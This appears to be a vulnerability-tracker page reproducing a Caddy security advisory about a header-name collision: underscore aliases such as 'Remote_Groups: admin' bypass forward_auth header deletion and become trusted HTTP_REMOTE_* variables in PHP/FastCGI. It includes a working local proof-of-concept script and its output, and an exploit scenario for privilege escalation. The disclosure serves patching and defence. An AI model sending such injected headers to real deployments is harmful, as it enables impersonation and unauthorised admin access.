Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Network-reachable HTTP header injection (AV:N/AC:L), requires a valid forward_auth session to weaponize against identity headers (PR:L), no user interaction; high C/I from impersonation and role injection, no availability impact.
Primary rating from Vendor (https://github.com/caddyserver/caddy).
CVSS VectorVendor: https://github.com/caddyserver/caddy
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.
This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:
Remote-Groups -> HTTP_REMOTE_GROUPS
Remote_Groups -> HTTP_REMOTE_GROUPS
Remote-User -> HTTP_REMOTE_USER
Remote_User -> HTTP_REMOTE_USERResult: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.
Details
forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222
That delete is exact-field deletion through http.Header.Del():
modules/caddyhttp/headers/headers.go:255modules/caddyhttp/headers/headers.go:281
So deleting Remote-Groups does not delete Remote_Groups.
Later, FastCGI exports all request headers into CGI variables:
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510
The normalizer replaces hyphens with underscores:
strings.NewReplacer(" ", "_", "-", "_")So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
PoC
Run from the Caddy repository root with bash:
set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" <<'GO'
package main
import (
"fmt"
"log"
"net"
"net/http"
"net/http/fcgi"
)
func main() {
go func() {
mux := http.NewServeMux()
mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Remote-User", "alice")
w.WriteHeader(http.StatusNoContent)
})
log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
}()
ln, err := net.Listen("tcp", "127.0.0.1:19010")
if err != nil {
log.Fatal(err)
}
log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
r.Header.Get("Remote-User"),
r.Header.Get("Remote-Groups"))
})))
}
GO
cat > "$tmpdir/Caddyfile" <<EOF
{
admin off
auto_https off
debug
}
:9082 {
log
root * $tmpdir/www
forward_auth 127.0.0.1:19011 {
uri /auth
copy_headers Remote-User Remote-Groups
}
php_fastcgi 127.0.0.1:19010
}
EOF
cleanup() {
kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
(echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:
Baseline:
> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=With attacker header:
> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=adminCaddy debug log confirms the FastCGI environment contained:
"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.
Impact
This affects Caddy deployments that use:
forward_authwithcopy_headersfor identity or authorization headers;php_fastcgi/ FastCGI after the auth check;- a PHP/FastCGI application that trusts the resulting
HTTP_*variables.
Impact examples:
- deterministic group/role injection when the auth gateway omits an optional header, e.g.
Remote_Groups: adminbecomesHTTP_REMOTE_GROUPS=admin; - probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g.
Remote-UserandRemote_Userboth map toHTTP_REMOTE_USER.
Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.
AI disclosure
The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.
AnalysisAI
Authentication header injection in Caddy versions prior to 2.11.4 allows remote attackers with low privileges to bypass forward_auth identity protections and inject or override trusted HTTP_REMOTE_* CGI variables in downstream PHP/FastCGI applications. The flaw arises because forward_auth's copy_headers directive performs exact-name deletion of client-supplied headers (e.g., Remote-Groups), while the php_fastcgi module later normalizes hyphens to underscores when exporting CGI variables, allowing an underscore alias like Remote_Groups to survive and collide with the trusted variable. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the Caddy site to use forward_auth with copy_headers configured for identity headers (e.g., Remote-User, Remote-Groups, X-Authentik-Username) AND chain into php_fastcgi or another FastCGI handler that exports HTTP_* CGI variables, AND for the downstream PHP/FastCGI application to trust those CGI variables for authentication or authorization (trusted-header SSO pattern, as used by Firefly III remote_user_guard or MediaWiki Auth_remoteuser). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N vector and 8.1 base score reflect a network-reachable, low-complexity bug that requires only a valid authenticated session at the auth gateway (PR:L) to abuse trusted headers, with high confidentiality and integrity impact and no availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker browses to a Caddy-fronted PHP application (e.g., a Firefly III or MediaWiki instance protected by an Authelia/authentik forward_auth gateway) and authenticates as a low-privileged user. They then resend any request with an extra header such as 'Remote_Groups: admin' (underscore instead of hyphen); forward_auth's exact-name Del() leaves it intact, the gateway returns only Remote-User, and php_fastcgi normalizes both to HTTP_REMOTE_GROUPS=admin, causing the backend to treat the user as an administrator. … |
| Remediation | Vendor-released patch: Caddy 2.11.4 - upgrade the github.com/caddyserver/caddy/v2 module to 2.11.4 or later per the GHSA advisory at https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Caddy deployments using forward_auth with PHP/FastCGI backends; document network exposure and privilege levels required for potential attackers. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38558
GHSA-f59h-q822-g45g